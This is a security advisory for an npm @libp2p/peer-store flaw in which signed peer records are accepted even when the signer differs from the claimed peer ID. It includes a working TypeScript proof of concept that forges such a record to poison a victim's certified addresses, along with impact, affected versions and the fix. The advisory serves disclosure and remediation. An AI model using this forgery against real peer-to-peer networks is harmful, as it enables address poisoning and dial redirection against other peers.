GHSA-vrf4-mx87-p53w: High severity npm/@libp2p/peer-store vulnerability

Published Sep 17, 2026
·
Updated

Summary @libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details The vulnerable code is in packages/peer-store/src/index.ts:

- RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature. - const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID. - The optional expectedPeer check only compares expectedPeer to the envelope signer. - const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes. - this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

ts peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

ts if (!peerRecord.peerId.equals(envelopePeer)) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') }

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

ts peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair } from '@libp2p/crypto/keys' import { defaultLogger } from '@libp2p/logger' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' import { persistentPeerStore } from '@libp2p/peer-store' import { multiaddr } from '@multiformats/multiaddr' import { MemoryDatastore } from 'datastore-core/memory' import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> { const localKey = await generateKeyPair('Ed25519') const attackerKey = await generateKeyPair('Ed25519') const victimKey = await generateKeyPair('Ed25519')

const attacker = peerIdFromPrivateKey(attackerKey) const victim = peerIdFromPrivateKey(victimKey) const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

const peerStore = persistentPeerStore({ peerId: peerIdFromPrivateKey(localKey), datastore: new MemoryDatastore(), events: new TypedEventEmitter(), logger: defaultLogger() })

// Payload claims victim, but the envelope is signed by attacker. const forgedRecord = new PeerRecord({ peerId: victim, multiaddrs: [attackerAddr], seqNumber: 999999n }) const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

// Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker. const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker })

assert.equal(accepted, true)

const poisonedVictim = await peerStore.get(victim) assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({ multiaddr: multiaddr.toString(), isCertified })), [{ multiaddr: attackerAddr.toString(), isCertified: true }])

console.log(${label} reproduced) console.log(attacker signer: ${attacker}) console.log(victim storage key: ${victim}) console.log(stored certified address: ${attackerAddr}) }

main().catch(err => { console.error(err) process.exitCode = 1 })

Expected output:

text Certified peer-record address hijack reproduced attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn stored certified address: /ip4/203.0.113.66/tcp/4001

Impact Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Affected Software

1 affected componentFixes available
npm/@libp2p/peer-store>=8.0.0<12.0.24
12.0.24

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@libp2p/peer-store to a version that resolves this vulnerability.

    Fixed in 12.0.24
  2. Configuration

    When calling peerStore.consumePeerRecord(...), set expectedPeer to the peerId derived from the envelope signer (e.g., peerIdFromCID(envelope.publicKey.toCID())) and ensure it matches the PeerRecord.peerId; do not rely on payload peerId alone.

    @libp2p/peer-store (consumePeerRecord) expectedPeer = envelopeSignerPeerId

Event History

Sep 17, 2026
Advisory Published
via GitHub·06:01 PM
Data Sourced
via GitHub·06:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does exploiting this issue require authentication or user interaction?

No. The advisory’s vector is network-accessible with low attack complexity, no privileges required, and no user interaction. An attacker needs only to create an envelope signed with their own key and place another peer’s ID in the enclosed PeerRecord payload.

2

Does supplying an expected peer prevent the peer-ID mismatch?

No. The optional expectedPeer check compares the expected peer only with the envelope signer. It does not verify that the peer ID in the decoded PeerRecord payload matches that signer.

3

What is the practical consequence of a successful exploit?

Attacker-controlled multiaddrs can be stored as certified addresses for a victim peer ID. This can cause peers using the affected peer store to associate the victim’s identity with addresses selected by the attacker.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203